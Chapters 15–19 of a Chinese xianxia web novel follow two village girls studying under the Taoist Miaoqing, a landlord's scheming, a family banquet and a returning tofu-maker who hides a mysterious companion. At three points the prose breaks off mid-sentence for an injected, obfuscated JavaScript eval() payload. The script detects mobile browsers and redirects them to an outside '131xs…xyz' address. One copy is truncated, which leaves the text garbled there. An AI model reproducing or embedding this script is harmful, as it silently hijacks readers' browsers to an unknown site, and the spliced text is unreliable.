“唉,如何不能啊,弟妹缪言了。如今十里八乡的,只有咱俩家的闺女有仙缘运道,若说上辈子没什么因缘,这辈子怎么这么巧?不敢劳烦观主为小事操心,我特意另请了镇上的大师卜卦,正好算出青禾与久安上辈子就是嫡亲的姐妹啊!” 他拿袖子擦了擦眼睛,“就当是为了孩子,咱们也得再续前缘呐。” 不等对方反应,他趁热打铁,吩咐道:“长叔啊,让人把东西搬进来。田老弟、弟妹,哥哥我还另外准备了点谢礼,可别嫌弃寒酸。我看了,青禾那丫头身体太瘦弱了,修炼可是个力气活,可得给咱家孩子好好补补。你们呀,为了孩子前途着想,也不该拒绝了老哥的一片心意啊。” 就这样,谢三求留下了一院子的礼物,并且强行与田仲易结拜成了兄弟后才走。 “有事让青禾丫头跟久安讲,别的不说,义气老哥还是有的!哈哈哈!” 徒留田家夫妇面面相觑。 长叔的儿子跟在谢老爷身后,心疼地嘟囔着:“那么多的好东西,白白便宜了泥腿子。” 谢三求脸一拉,训斥道:“那是你家老爷的结义兄弟,是你二老爷,再敢不敬,休怪我不给你爹面子。” 长叔狠狠拍了蠢儿子的脑袋,“蠢货,赶紧闭嘴,老爷的心思岂是你能猜得到的?老实听话就完事了!” 谢老爷冷哼,坐在牛车小轿里走了。 他心想:田家是正宗的泥腿子不错,可谁叫人家祖坟埋得好,草窝里飞出只金凤凰。他可找妙清观主实实在在地打听过了,是个极其有天赋的孩子。俗话说锦上添花不如雪中送炭,一点点投资就能有巨大回报,在合适不过的买卖了。他就不信家里出一个仙人,再拉拢一个,还比不过只会抱仙人大腿的二弟! 16. 宴席 一连大半个月心无旁骛的修行,青禾进步得飞快,原先枯瘦蜡黄的脸颊渐渐变得饱满红润,一双大眼睛水润明亮,炯炯有神,和修行之前模样判若两人。 妙清给她探查过身体,笑着夸赞道:“不错不错,青禾你的资质本就很好,自己又肯努力,看你如今的进度,想来也就三四年的功夫,你就能修补完身体的缺漏,从练气进阶到凝思了。” 久安也很兴奋,在师母不辞辛劳为她引导灵力的第十八天,她终于能够自己独立修行了。 她倒是开的看,不再纠结落后青禾的事情了。 人各有命,久安心里想着,我修道悟性不好,说不准其他的地方好。比如我这运气就不错,阴差阳错从假仙缘混到真仙缘,大不了以后就抱紧青禾大腿呗。我们谢家家教就是:不怕吃苦、脸皮要厚,抓紧一切机会,过得舒坦才是最重要的。自己行,自己上,别人行,跟后头。 心境开阔,修行小成,久安春风得意,跃跃欲试要休息休息,再庆祝庆祝。正巧谢老爹的奶兄弟回村了,她爹挺高兴,摆家宴要庆祝兄弟相逢,久安就撺掇着师母和青禾一起过去。 妙清摇摇头拒绝了,前两天谢三求打着为两个孩子身体着想的旗号,并着田家夫妇的礼物一起给观里送了好些粮油盐茶的,观主想了想收下了。两个小弟子正长身体,每日修行又耗费巨大的精力,那胃口是蹭蹭上涨,一个人能顶三个人的胃口,多吃些好的也是应该的。只是对谢家供奉的仙家宝物敬谢不敏。 妙清推辞道:“如此奇珍应当在大能前辈的手里才好释放异彩,像我这等安贫乐道的清修道人,是不敢接受此等馈赠。” 她当然明白谢家的意思,只是无论他们送不送礼,她都会尽心尽力地教导弟子,一视同仁,绝无偏颇。收了礼反倒是显得自己心思不正,落了下乘。 还有一层原因,碍于谢地主的自尊,她没好意思当面道破,只能偷偷嘱咐久安,让她跟谢三求提议把宝物好好收在库房里,别再拿出来给人显摆了。 不能说那散发着淡淡粉色雾气的灵珠是个假的,但也确实没什么用。如果妙清没看错的话,那是三十六行外道中合欢道低阶弟子常备的法器,主要作用是双修交融时助兴用的。 妙清很怕再见到谢三求,对方又拿着灵珠拼命往她手里塞。若教内行见到,她可真没脸见人了。 况且她也不是没事做的,“为师前些日子已用灵鹤传书,将正明观收弟子的事情上报给府城的御极关了,若他们没有耽搁,这两日就该有使者到访。我正该守在观里,以免怠慢衔令使。” 青禾也不想去,她虽然和久安关系不错,但她也深知两人出身不同,不想自己像个打秋风的穷鬼似的上门。而且她最近闲暇时正在学着打络子。妙清早就把柳君送的东西还给她了。伏虎令虽然没什么用,久安也当做纪念品,平时放在荷包里带着。青禾把不知名的书册放到观里自己房间的书架上,蛇蛋是平时修炼辅助用的,放在静室,还有一片蛇鳞,青禾琢磨着打个好看的络子装着也随身携带。 久安斜眼看着准备回房间的青禾,语气凉凉,“啧,世人情薄啊,我今儿个才算体会到哇。” 青禾停住脚步,叹气回头。 久安一见有戏,立马再接再厉,“可怜我冒着被我娘责骂的风险,把她屋子里最好看的彩线偷偷拿给你,如今你就这样待我!” “你不是说是你不要的旧衣服上裁下来的吗?” “我那是怕你不肯要,骗你的!”她赶忙走到青禾身边,撒娇般拉着对方的胳膊晃呀晃,“好青禾,你陪我去嘛,两个人才有意思!” “你家摆家宴,我去像什么样子?” “你也是我家人!你忘了我爹说给咱俩算过命,咱们俩是前世嫡亲的姐妹啊!我爹还和你爹结拜成兄弟了,怎么不算一家人?” 青禾无语地翻了个白眼,她大概猜出来了谢地主的打算,没明着拒绝,但也不想在这方面纠缠。 久安见对方还不松口,干脆耍赖一屁股坐在青禾的脚背上,手脚并用死死缠住她的双腿,嚷嚷道:“我不管,你不去我就不放开,看咱俩谁耗得过谁!” 在观里朝夕相处了十几天,青禾算是领教过久安的难缠精神,除非师母发话,不然不达目的决不罢休,但妙清大多数时候也不爱参与两个小弟子鸡毛蒜皮的小事,通常都是笑眯眯地在旁观看,所以…… 青禾又叹了口气,弯腰拉着气鼓鼓的小姑娘,“行了行了,我跟你去还不成吗,你赶紧起来,我的脚要麻了。” 久安开心死了,麻溜地爬起来,拽着青禾往房间里奔,“快,我们把前两天师母给我们做好的道袍换上,我们穿着去赴宴!” —— 谢三求最近很高兴,家里好事连连,自家大丫头即将成为仙人,又和另一个未来小仙人扯上了关系,多年不见的奶兄弟也突然回村了。他正愁炫耀不够呢,又来了个熟人。 谢地主的奶娘名叫王香桂,是个豪爽麻利又不失温柔细心的女人。小时候他娘更喜欢二弟,是王香桂给了他母亲般的关怀,所以奶娘的儿子反而更像他的亲兄弟。 王香桂很有本事,凭借着在谢家的便利,自己研究出了一手豆腐绝活,最出名的是她做的豆花羹,豆花白嫩鲜滑,一勺子吞下满口生香,再也找不到第二家的豆花味道能有如此绝美。 等到谢三求长大,王香桂功成身退,也不要谢家养老,自己做起了豆腐买卖,生意红火的连外乡人都慕名而来。再后来她把手艺传给了儿子李家明,和儿子搬去了青牛镇。因路途不便,数年来只有寥寥几次口信传来,等到王香桂去世,两家也几乎没什么来往了。 这次李家明突然回乡居住,谢三求也不计较对方以前的冷淡,如同数十年未曾分开一样,热情招待着,看到对方的故居破旧不堪,更是极力邀请李家明住进自己家。 “好兄弟,怎么不见你的家眷?” 李老汉模糊地嘟囔着,胡乱摆手,“咳,早分开了,婆娘带着丫头改嫁去了。” 谢三求看着对方不愿多说的模样不好再问,他估摸着对方放着在镇子上的好生活不过,偏偏返回乡间,一定有什么难言之隐。莫不是有什么豪门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042914|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大户看中了他的独门手艺,强夺不成反而迫害?谢老爹琢磨着,暗暗点头,肯定如此,那他可要好好照拂奶兄弟,不能让对方再吃苦了。 “老弟,你可不知道,你侄女啊,现在可有大出息,她呀,马上要成为仙人了!你还记得正明观吧,对喽,就是妙清观主,那可是个有能耐的大善人!她看中了我家久安的资质,收了当徒弟!” “哈哈哈,再过半个月就是白虎祭了,到时候一起举行拜师仪式,老弟你可得一起去凑凑热闹哇!” “咱们也是有仙人靠山的人家了,甭管有什么难处,只管放心,你老哥不成,还有你侄女和你侄女她师母呢!” “哎呦,瞧,你侄女和她师妹过来了,定是听到你回来了,过来见礼的。我家久安从小就是个懂事孝顺的好孩子啊。” 两个小姑娘穿着整齐合身的浅灰色道袍,在院子外就听到谢地主豪放的说笑声了,像演独角戏似的。 规规矩矩地过来行礼,两个小姑娘头一次看到村里传说的的豆腐王。 李老汉身材矮小,又习惯性地佝偻着背,像一只气质猥琐的大虾。衣服料子倒是挺好,看得出过得还不错。只是脸色阴沉沉的,丝毫不见富足人家常有的舒适神态,一双三角眼总喜欢从下而上偷窥着人,给人一种很不舒服的感觉。 谢三求毫不介意地拍着对方的肩膀,李老汉也只是偶尔象征性扯着嘴角笑着应和,看见两个小孩子向自己行礼,勉强扯出一副慈祥面孔夸赞了几句,哄得谢老爹心花怒放,满腔得意。 久安忍不住抖了抖身体,被青禾暗暗掐了一下后背,提醒她注意仪态。 小姑娘忍不住趁大人没注意的时候,在好友耳边小声吐槽义叔道:“妈呀,皮笑肉不笑。”青禾回了她一个微不可见的点头。 久安拉着青禾又去给谢家其他人见礼。谢家老夫人年纪大了,不爱动弹,成日在小佛堂礼佛。两人过去了,老太太嘴里还在念念有词。 她眯着浑浊的眼睛一把拉住青禾道:“大丫头,几日不见怎么变得这么高?” “奶奶!你拉错人了!那是青禾,我的好朋友!”久安在老太太耳边大吼。 “什么,你要青色的?不是才做好紫色的裙子,怎么又要青色的?” 总之,一切很混乱,老太太一会儿拉着青禾喊大丫头,一会儿拉着久安喊。 好不容易分清了,又说道:“你俩成仙了,快来拜拜菩萨,让菩萨保佑你们顺顺利利的。” “奶奶!我们俩是道士!道士!要拜也是拜三清道祖,不拜菩萨!” “嗨,没事,”老太太不在乎地摆摆手,“礼多人不怪,出门在外要靠各路神仙保佑,拜哪个神仙不是拜?” 辞别了老夫人,又前去拜访久安亲娘秦大夫人。秦大夫人满脸倦容,有气无力地摇了摇手:“嗯,都是好孩子,自个儿去玩吧,别客气当成自己家。”她打了个呵欠,给青禾塞了个精致的绿色荷包,疲惫地说:“昨晚打马吊打的太晚了,一会儿我得补个觉,小红,你等会儿跟老爷说我就不去吃饭了,让孙姨娘去陪座吧。” 17. 暗涌 青禾与久安按理说是小孩子不能上主桌,但如今她俩身份不同,是仙人弟子,便获得了和成年人一样的权利。谢老太太年龄太大,不爱动弹没在席上,秦大娘子刚刚传话说不来,谢三求听了理由,眉毛抽搐了一下,倒也没说什么。而久安的其他兄弟姐妹年龄都太小,谢老爹吩咐下人另外准备分别拿去各房。 一席家宴,桌边只坐着谢三求、李老汉、谢久安、田青禾、孙姨娘。 孙姨娘名盼如,是个巧笑倩兮的美人,年龄约二十七八岁,长袖善舞,与秦大夫人以及其他的姨娘相处得都不错,今天才有资格代替大房出来宴酬。谢老爷忙着自吹自擂,孙姨娘就在旁边极有眼色捧哏、倒酒,期间还能有条不紊地传菜、布菜,关心两个小姑娘吃得如何,面面俱到。 “哎呦,这七宝白玉羹可算上来了,家明老弟来尝尝。”谢老爹指着热气腾腾的豆花羹笑呵呵地说,孙姨娘赶忙捧着白瓷小碗,先盛了一碗放到李老汉面前。 “这道豆花羹放了七种不同种类的蔬菜,咸鲜的味道和豆花软滑的口感完美的融合在一起了,是我最喜欢的一道羹肴,老弟你尝尝口味是不是有点熟悉?” 李老汉吃了一勺,咂摸了下嘴,点点头,“是挺熟悉的。” 谢老爷得意地笑了笑;“这就对喽!老弟你来记得曾娘子吗?当初穷困潦倒来到咱们村的外乡丫头,还是靠着嬷嬷施舍的一碗豆腐才活下来的。” “当初嬷嬷看她可怜,教了她一手豆腐绝活,真没想到她还挺能干的。在你搬家之后,豆腐坊子越做越大,成了咱们这十里八乡有名的豆腐娘娘,生意红火起来,还招了倒插门的女婿。这道七宝白玉羹就是她最新研究出来的菜样。”谢老爹抚着腿,略有些惆怅,“当年嬷嬷看我成人了,不再需要她的照顾,便搬离了谢家,我真是舍不得。但嬷嬷对我那么好,我不能拦着她去过好生活啊。” 他长叹一口气,“曾娘子也是个知恩图报的人,知晓我是嬷嬷奶过的,特意赶来做了一桌的豆腐宴,以解我思母之苦哇。可惜了,如今咱们兄弟见面,我却见不到嬷嬷!”谢老爹说着说着掉了眼泪,孙姨娘赶快拿着帕子轻轻擦拭着,劝解着,“老爷,故人相逢的好日子,该笑才是。嬷嬷在天之灵知道了您的挂念,也定是欣慰不已呢。” 青禾正在一旁捧着孙姨娘盛的豆腐羹,小口小口吃着,此时见谢老爹变脸如此之快,不禁目瞪口呆,又怕自己表现得太明显,赶忙低头垂目。 久安也捧着碗,对自己老爹的泪眼习以为常,倒是看到青禾的变脸差点乐出了声。凑近了悄声跟青禾八卦自己家里那点事儿,完全不想着家丑不可外扬那一套规矩。青禾不好离席,又耐不住旺盛的好奇心,半推半就地听了一耳朵家长里短。 谢三求哭够了,喝了口孙姨娘殷切递上来的汤润润嗓子,继续道:“后来我见曾娘子手艺不错,人品也好,本想招进家里来,奈何她放不下豆腐坊子。据她讲她丈夫也得了她的真传,我就退而求其次,招来了她的丈夫做厨子,她自个儿仍然在外面支撑着生意。” “大郎你还是这么心善。”李老汉仰着笑脸奉承着,紧接着赶忙说:“这七宝白玉羹滋味是很鲜美,但在我这豆腐行家面前可算是班门弄斧了。”他故作深沉道,“我离乡多年,随着眼界的开阔,这做豆腐的心得也增加了不少。大郎且等着,晚上我做道最拿手的东珠翡翠羹给你尝尝,你便知道我不堕这豆腐王的名头。” 谢三求很感兴趣,他哈哈大笑道:“老弟啊老弟,没想到你离乡这么多年,说话也变得文绉绉起来。好好好,为兄正想尝尝你的手艺。” 一顿饭吃下来宾主尽欢。 青禾打着饱嗝从谢家出来,她坚定否决了久安还想继续在家歇着蹭晚宴的想法,谢绝了谢老爹的热情挽留,背着一包袱孙姨娘强塞过来的点心匣子,拖着不情不愿的好友往观里赶,誓要在下午发愤图强。 路上恰巧遇到了一个包着深红底白花纹头巾的中年妇人,那妇人左手挎着篮子,一见到谢久安眼睛放光,快步走了上来。 “谢大姑娘好,您这是往正明观赶吗?哟,可别怪我这老婆子眼拙,您旁边这位小仙子的气质脱俗和大姑娘如此相似,难道是您的师姐妹吗?” 久安很高兴,忙道:“曾大娘好,我正是要和我师妹往观里走呢,大娘也出门忙啊?” 青禾暗暗瞪了久安一眼,以示对“师妹”一词的不满,又矜持地冲着曾娘子笑了笑。 “正是正是,老婆子我呀想去大姑娘家呢。我才听闻谢老爷的奶兄弟回来了,这是大事,我担心我家那口子手艺上不够台面,得去给他撑撑场子,免得丢人!” “哎呀,今天中午那道豆腐羹美味极了,大叔手艺可不错了,我们大家都很喜欢。是不是,师妹?” 青禾笑着对着曾娘子点点头,默不作声地把手伸进久安宽大的衣袖里狠狠一拧。久安面不改色,将另一只手伸到背后使劲按住青禾的手。 “那就好,那就好,我还担心李大哥是村里以前出了名的豆腐王,生怕在他面前闹了笑话。”她眼巴巴地瞅着久安。 “哦,李叔啊,李叔也挺喜欢,还说等晚上也要一展身手,可惜我回去得晚,吃不到了。” 曾娘子眼光一闪,“正好我去了给李大哥打打下手。大姑娘莫要遗憾,不管多晚,老婆子我呀都准备着给您做好吃的,万望大姑娘赏脸,回来时到我家啊。” 久安喜滋滋地应下了,青禾看着曾娘子脚步匆匆地离开,心里暗暗感叹在大户人家讨生活也不容易,又赶忙拖着直嚷嚷慢点慢点的久安赶路。 月升中空,倦鸟栖树。 李家明满脸阴沉地回到谢家给他准备的房间。 谢三求大方,给自己奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042915|178857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兄弟准备的房间挺大。一扇刺绣精美的屏风隔开了内外空间,内室右手边还有一间小小的耳房。 他不要仆人的服侍,还声明没有他的允许,禁止进入房间。众人都当他怀揣着豆腐秘技不想让人知晓,都听从了。 现在他坐在外室的待客椅上,拳头狠狠砸在桌面上。 曾家真是太可恨了!当初他娘就不应该可怜那个女人,传授她一手绝技。不然如今的豆腐王只会是他一人。如今倒好,曾家不仅豆腐越做越好,还凭着会钻营的劲头,把持住了谢家的厨房。那他呢,他怎么办? 继续像当年在谢家那样畏畏缩缩地当谢三求的跟屁虫吗?靠着别人的施舍过日子吗?真该死!他早就不想过寄人篱下的生活了,他有能力有手段,就该过人上人的生活,在青牛镇上如此,回黑石村也当如此! 想到青牛镇,他的怒气消散了一些。只盼望那家人蠢些,可别追了过来,不过他几乎把毕生的积蓄都献给了钱师爷,有他在知镇面前说项,想来应该无事。 可他现在几乎是一穷二白的状态,又有曾家挡路,怎能不急?他该用什么方法挤走曾家?如今的谢家可不是当年的土地主,人家女儿有了大出息,进入了仙人眼。哪怕正明观在穷酸不堪,也是仙家所在,况且当年他亲眼见过妙清观主施展仙术,绝不是镇上那些招摇撞骗的道人。得有双重保障才行,万一钱师爷顶不住了,他得另寻后路。 谢家,最快的路只有谢家,他得凭着当初的情分抓紧谢老爷。 李家明脸色狰狞地咬着牙,忽然一声轻微的咳嗽声从耳室传来。 他冷静下来,但也没多管那个声音,只是自顾自地倒了杯冷茶喝着。 “大郎。”一个苍老疲惫的女声轻唤。 茶杯被重重地放下,撒了一圈的水,李家明压低声音,没好气道:“莫要叫了,你想叫人发现不成。现下有了落脚的地方,我自会找些草药给你。” 那个声音有些胆怯,但仍强撑着小声辩解道:“大郎,普通的草药于我无益……” “那你要我怎么办!你看不到吗,我现在落到如此凄惨的地步,都是因为你!”李家明暴怒,蚯蚓般扭曲的青筋暴突在额头,一双布满红血丝的眼睛可怖地瞪向耳房。可他仍然记着这是在别人家,努力压抑着怒火,喘着粗气在房间里不停来回走动。 “都是你的错,都是你的错!你竟然还敢向我抱怨!枉费我娘当年救了你,你就该死在那里!死在那里!才不会害我至此!” 那个声音消失了,仿佛不敢触怒李家明的样子,只在对方平复好情绪后,才传来细细地哽咽声。 他说:“你再忍忍,再帮帮我,只要挺过了这段时间,我发誓我会让你如愿以偿的!你也不愿意恩人的儿子潦倒而死,是吧?”他放柔了声音,如同哄孩子般:“滴水之恩当涌泉相报,你可得记住了。” 18. 治病 正明观东边有个小偏院,是妙清观主特意辟出来做医堂的,此时正有个满脸大汗,哎呦哎呦痛苦叫唤的老太太躺在医堂的床上。旁边一个年轻女孩一边心疼地给老太太擦汗,一边忍不住埋怨,“奶奶,你就不该逞强下地干活,本来你的腰就不好,这下子更严重了。” 老太太满脸痛苦中还记得要反驳:“你又不是不知道你爹那个惫懒性子,只靠你娘和你个小丫头种地,什么时候才能干完。春种是大事,耽误不得,唉呦,痛死我了。” 妙清在一边翻找药箱,闻言无声地叹了口气。 随着春种的进行,正明观也不断的热闹起来,不停的有因为干活受伤的村民来道观里求助。 清修时常被打断,妙清并不着恼,反而教导着弟子如何为村民治病。 “我们修的是入世之道,除恶扬善、扶危济贫应是我们毕生的目标。”师母谆谆教导。 “是,勿以善小而不为,勿以恶小而为之。师母良言,弟子谨记心中。”青禾严肃正经地回答道。 “俺也一样。”久安笑嘻嘻地应和着。 妙清和青禾都无奈又好笑地看着久安。 程老太太是旧伤复发,除了因为干活劳累,也是因为年纪大了,本该好好保养身体却不得不为了生计奔波。妙清了解她家的情况,知道说些注意休养什么的纯粹是废话,眼下最重要的是尽快让她恢复,不耽搁春种才是大事。 这样一来,寻常凡人的法子就没什么用处了。 妙清找出针灸盒,用火焰仔细消过毒,以灵力牵引银针,扎在老太太腰背上数处穴位。发丝般纤细的银针微微颤抖,针身上时不时闪过几缕微不可察的细碎光芒,妙清将体内灵力分化成数股,经银针导入病患身体。两个小姑娘在一旁屏气凝神,以十二分的注意力来学习师母的治疗手法。 程老太太的呻吟声渐渐小了,待观主收功,她嘴里激动地喊着:“观主真是神了,我这老腰竟然一下子不痛了!”她孙女也激动着连连向妙清鞠躬。 妙清摇摇头,“我只是暂时封住了你的痛感,要想病好,还要很久。我开些药你拿回去吃,每隔五天必须来我这里针灸。你腰上的问题很严重,不听医嘱,不仅好不了,以后你还会瘫在床上。”她吓唬道。 见到一老一小连连称不敢,她放缓了口气:“你可以下地干活,但每隔两个时辰必须要休息三刻钟。你那儿子再不争气,你也不能拿命去拼。你不行了,你媳妇性子又软弱,让你的孙女孙子都依靠谁?” 看着程老太太真心听进去了,她才让两人拿着药走。 青禾收拾着柜台,动作越来越慢,若有所思,久安看见了挑挑眉,把她手里的活计抢过来干,问道:“你又瞎琢磨什么?” “我在想治得了身上病,治不了心里病。那程奶奶的病不止在腰上,也在她家里。”她慢慢思索地说着,抬眼试探着看着师母。 妙清不插话,鼓励地看着她。 “我知道程奶奶,她家并不是什么贫苦得吃不上饭的人家。她生了两儿两女,女儿都嫁去了邻村,两个儿子都已经过了弱冠之年,劳动力并不缺乏,何必让她这么大年纪下地播种呢?不过是娇宠孩子,大儿子懒惰成性,她管不动,小儿子她指望着读书成才,不让干活。” “我见过她家大儿子,成天游手好闲。那小儿子读了十几年的书,连个秀才也没考出来,啥也不是。啧。”久安插话,不屑地撇撇嘴。 “所以她劳累成疾,今天治好了,明天又病了。我觉得不该是这样。”青禾皱着眉头。 “那青禾想怎么做?”妙清轻声问道。 小姑娘不答话。 是啊,她能做什么呢?是出手教训对方儿子吗,可她不过修行不到一月,如何打得过?那指责程奶奶吗,她的亲邻也曾说过多次,没有用。 她有些茫然,程妇之子所为在她看来是小恶,恶在不知体恤母亲,但程妇不以为意,若她强行插手,说不得自己要变成恶人了。 久安看不下去,她掰正对方肩膀,盯着青禾眼睛,阴阳怪气道:“田青禾,我到看不出来,你竟然是这么个好高骛远的人!” 青禾怔了怔,不明所以地回望她。 久安恨铁不成钢地用手指头点着她的额头,恨声道:“你才修道多久,还没修出个一二三四五的,竟然觉得自己厉害到可以管这天下所有的事情了。上次于伯摔了腿,你听了缘由,立马跑去把坑填平也就罢了,毕竟是我们能做到的事。但现在你竟然心大到把手伸进别人家里。好哇,我看以后我可真成了你师姐了,你都把心思全放在没用的事情上,没空修行,修为在我之下,可不就是我师妹了。” 青禾不服气地捂着头,嚷嚷:“可程奶奶家的事情就是不对。” 久安被气笑了:“你说不对就不对?还有人眼红我俩的仙缘,觉得女人就得老老实实在家相夫教子,不应该出来修仙。他觉得你不对,你怎么不立马回家,还要在这待着?” 青禾气鼓鼓瞪着她,抿嘴不说话了。 久安看着将了她一军,得意极了。 妙清看够了戏,冲青禾招招手,见小姑娘乖乖地走过来,她爱怜地摸了摸女孩儿的头,问道:“四季山脚下冰水涧那里植被丰富,常有适口的野菜生长,我见你月初的时候去采摘过,为何不早点去?” “再早些天气寒冷,水面结冰,我受不住冷,而且野菜才冒尖尖,也不适合采摘。”她老老实实回答。 “若身具护体灵力倒也不惧怕太寒冷,再使上一招春华生的木行法术,便能吃到清脆可口的野菜了。”妙清手臂支在桌子上提议道。 “可惜我那时候还没拜师呢,哦不对,就算拜师我也得入道才能施展法术,不然还是没那个能力……” “对,青禾很聪明,知道有能力怎么做,没能力又会怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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经师母和好友的劝导,青禾心境开阔了许多,不再纠结。下午的修行竟然速度飞快,更胜往日一筹,不禁让她琢磨,难道这就是传说中的顿悟? 她讲给久安听,小姑娘惊叹地张大眼睛道:“我素来嫌弃你们这等心思细腻的人事多麻烦,若不是青禾你没有做作找事,又心软易欺负,我才不会和你当朋友。但真没想到原来还有这样的好事,不过是想通了别人早就想通的问题,竟然也算顿悟,还会进步飞快,太不公平了!” 青禾气得牙根痒痒,捏起拳头说:“好哇,谢久安,你终于把实话说出来了,看我好欺负?我今天就让你看看什么叫做欺负!” 久安嗷嗷大叫往院子里逃,青禾在后奋起直追,鸡飞狗跳,好不热闹。 嬉戏打闹了好一段时候,久安气喘吁吁地讨饶,师姐长师姐短的一筐甜言蜜语砸出去,青禾才放过她。 谢大小姐歇息够了,又一拉好友的胳膊,讨好道:“青禾,今晚去我家吃饭吧,当我给你赔不是。” 青禾使劲把手抽回去,撇嘴:“你真当我小肚鸡肠啊,这点小打小闹赔什么不是,不用啦。” “用的,用的。”她赶紧抓住远离自己的手臂,“好啦好啦,实际我是有事相求,你就跟我去,帮帮我好不好,青禾?” 19. 帮忙 “到底是什么事情需要我帮忙?能解决就尽量在外面解决,我不想总去你家打扰。”青禾拉着久安的胳膊认真问道。 小姑娘有一点傲骨在身的,未拜师之前,她也曾跟着好友去拜访,谢家虽然没有做出捧高踩低的无礼之举,但她能感受到从谢三求到仆从不经意之间透露的轻视。等她成了正明观的弟子后,所有人又对她异常殷切,关怀备至。这样前倨后恭,她很不喜欢,所以能避则避。 久安看出了一点缘由,不过她与青禾的想法并不一样,这不单是因为两人身份不同。趋炎附势,乃世人常态,困苦难得雪中炭,富贵不缺锦上花。这世间有百样人,总不能看见不喜欢的就躲着,他想利用你,你不如先收着对方的好处,再伺机而动。待君子以诚心,而待小人则不必讲究。 当然,她倒不是骂自己家人,只是觉得谢家也没有什么太过分的举动,青禾不如先拿她家练练手,左右有她看着,双方有冲突她也可以及时介入调解。如果双方相处到最后能相亲相爱宛如一家,她更是求之不得。 此时她见青禾双臂抱怀一脸严肃,便知道好友是动真格了,不是自己撒娇赖皮插科打诨能糊弄过去的。 她叹了一口气道:“是李叔,他想请我们帮忙。你知道他为何回村吗?” 青禾摇摇头。 久安双手一背,面色沉痛,迈着四方步来回走动,是不是还长吁短叹一下,活像个为世事不平忧心忡忡的老学究。 青禾看她又演上了,也不催促,好整以暇地放松手臂靠在墙上,歪着头等着。 “匹夫无罪,怀璧其罪啊。李叔靠着自己的豆腐绝活挣出一片大好前程,殊不知也因此被人眼红惦记。那贼人先是假意示好与李叔,想趁机偷得绝技秘方,怎料苦主机敏果断,及时发现阻止。贼人眼见来阴的搞不定,竟然联合大户威逼利诱。” “可怜李叔一介平民,怎能抵挡住权势相逼,被搞得妻离子散,家破人亡。他趁着贼人不注意,仓皇逃离,谁料在被追赶途中,损坏了他精心培育的香草。” “那可不是一般的香草,自王嬷嬷手中传下,是做豆花羹最紧要的一道香料!如今他好不容易摆脱贼人,还想着重新凭自己的本事吃饭,可谁料到最趁手的家伙没有了,他知晓咱们俩修行有成,想让我们帮忙看看。” “修行有成?”青禾挑了挑眉,扬声问道。 久安心虚地“嘿嘿”干笑几声,辩解道:“本来就是嘛,修炼了这十来天,我每天都觉得自己比前一天更加精神,身壮如牛。”她握拳砰砰地砸着自己胸口,“你听这声音多响亮!青禾你再看看自己,现在的你珠圆玉润的,早就不是当初那个面黄肌瘦的黄毛丫头了,这还不叫修炼有成吗?” “更何况我们作为正道修士正应该路见不平拔刀相助,不惜己身为民除害!青禾呀青禾,你平时不是最古道热肠吗,怎么现下退缩了?这可不应该!” “好,你想帮忙,你怎么帮?是用你比醋钵儿小一圈的拳头威胁那棵草,再不恢复就对它不客气?”她敲了敲对方的额头,“乐于助人也要看看自己能力,你我不曾入道,一点法术都不会,想帮忙至少要会些木行法术吧。你快让李叔找师母帮忙吧。” “我当然跟他说过,可他说年少离村时不懂事得罪过师母,如今不好意思上门求助。” “师母心胸开阔才不会计较这种小事,只要李叔诚恳求助,师母定然会帮忙。” “我也是这么觉得,可李叔说他这人好面子,不到万不得已不想叨扰。” 好面子?好面子请两个小孩子过去帮忙,虽说村人都尊称她俩一句小仙人,但真有什么事还是会求助正明观,这个李叔真有点奇怪。青禾在心里嘀咕着,因为是谢家的亲戚她不好直接说出来。 “青禾,我们帮帮他吧?” 看看久安殷切盼望的眼神,青禾觉得有点不对劲,这姑娘平时万事不上心,颇有点事不关己高高挂起的模样,现在突然像变了个人似的。 青禾微微挑眉,一脸不怀好意地邪笑道:“帮呀怎么不帮,最好帮完了,像话本里那样,李叔对你感激不尽,把个什么皇亲贵戚的远方亲戚介绍给你,你从此发达,岂不美哉!” 久安矫揉做作地甩袖子抛媚眼,像戏台上半掩芙蓉面的旦角一样,拉长声音咿呀唱道:“从此后我俩双宿双飞,好比地上连理枝……” “谢久安!”青禾一声暴喝,吓得对方浑身一嘚嗦。 “你是不是又犯了自捧自吹的毛病了?” 久安表情躲闪。 “你忘了前些日子你在村人面前把自己夸得天上有地下无的,结果赵婶子真信了,追着要把自己姑娘塞给你当徒弟,不收就一哭二闹三上吊的,最后还是师母收拾的烂摊子。你是不是骗着人家李叔信你是个活神仙,你收不了尾,才来找我?” “哎呀,青禾,我,我就是稍稍夸耀了自己一下,真的就一下!”久安嘴硬辩解道。 青禾掐着腰怒目而视:“师母都说了,你再不改掉你这性子,迟早有一天闯出大祸!” “好好好,我错了,我一定改。青禾师姐就饶了小的这一回吧,且帮帮忙,求求师姐了!” 青禾抱胸背过身去。 久安瞅着连师姐都喊出来,对方还是无动于衷,眼珠子咕噜咕噜一转,开始卖惨,“青禾,唉,实话跟你说了吧,我其实另有所图。” “我爹前些日子不是买了颗灵珠想送给师母吗,被师母识破出是无用之物,找借口推掉了。虽然没明说,但我爹后来自个儿在家琢磨回过味儿来了,知道被骗,真是气得不行,直呼白白被骗了大笔的银两,心疼得要命。” 